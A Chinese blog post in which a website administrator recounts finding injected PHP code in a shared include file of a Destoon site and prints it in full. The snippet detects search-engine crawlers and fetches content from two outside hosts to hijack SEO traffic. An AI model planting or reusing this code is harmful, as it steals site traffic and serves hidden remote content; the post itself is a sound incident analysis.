又一次的脚本注入攻击
一早官网访问不了,想了一下应该是上周更改了阿里云的 DNS 解析服务器。(域名刚从美橙互联迁移回来,在阿里云后台创建新的域名解析都不起作用,需要重置 DNS 服务器)。之前 DNS 解析服务器缓存了域名解析列表,所以迁移回来之后未创建新的解析也能正常访问。现在更换了 DNS,重新创建相关的域名解析就好了。之后同事反馈某个模块功能好像有点问题,数据库查询报错了。一开始以为是 sql 或者代码问题,后本地测试 ok,服务器上代码使用的是同一 git 版本,所以基本排除了代码问题。因为这个功能之前是正常使用的,所以也可以排除函数兼容问题,最后只剩下脚本注入了。
服务器上查看 destoon 框架之前被注入过的 config.php
和 common.inc.php
,未发现异常代码。很奇怪它把代码注入到什么文件里了。这个文件肯定是公共文件,不然注入没有效果。从后台入口文件查起,检查所有引入的公共文件,终于还是让我发现了它的踪迹:
set_time_limit(0);error_reporting(0);$a='stristr';$b=$_SERVER;define('url',$b['REQUEST_URI']);define('ref',$b['HTTP_REFERER']);define('ent',$b['HTTP_USER_AGENT']);define('site',"http://a2.aok85.com/");define('road',"?road=".$b['HTTP_HOST'].url."&der=".ent);define('regs','@Sogou|Yisou|Soso|Haosou|baidu|360Spider|So.com|Sm.cn@i');define('area',$a(url,".xml")or $a(url,".doc")or $a(url,".txt")or $a(url,".ppt")or $a(url,".xls")or $a(url,".csv")or $a(url,".shtml")or $a(url,".docx")or $a(url,".xlsx")and $a(url,"?"));if(area&&preg_match(regs,ref)){echo gga('http://www.kkkoooko.com/'.'/js.html');exit;}if(preg_match(regs,ent)){if(area){echo gga(site.road);exit;}else{echo gga(site."?zz".road);ob_flush();flush();}}function gga($d){$e=array('http'=>array('method'=>"GET"));$i=stream_context_create($e);$j=file_get_contents($d,false,$i);if(!empty($j)){return $j;}}
这个跟我之前遇到的注入代码基本一致,都是针对网站 SEO 做流量窃取。看了一下文件修改时间是 2021-02-02,看不到修改用户,但所有者是 Administrator,并且 Everyone 都有完全控制权限。所以一时无法溯源,不清楚其他地方是否存在被注入的脚本。
本想去除 Everyone 的完全控制权限,结果发现前端页面访问报错了,提示 401 无权限访问,赶紧改了回去。Everyone 的完全控制权限肯定是有问题的,怎么解决这个等有空闲再去试试看。这类的脚本注入本身不会对网站展示造成影响,如果不是同事反馈,真的很难发现。启动了服务器的文件防篡改系统(之前更新 git 代码后忘记开启了),但因为 destoon 系统运行非常依赖缓存,所以部分缓存目录依然存在被注入的危险。好想一次性找到问题的根源,采取些措施,但能力有限,非专业运维,真的是无能为力。
对比之前的 “灰产”和“黄色”网站是怎么隐式传播的?—— PHP 脚本注入代码分析,这次代码少了一个 header 输出。因为这个 header 输出会造成 ob_start('ob_gzhandler');
执行错误 和 header("Content-type: image/png");
显示图片出错 ,所以很容被查察觉。这次去掉了 header,要是没有反馈异常,真心发现不了。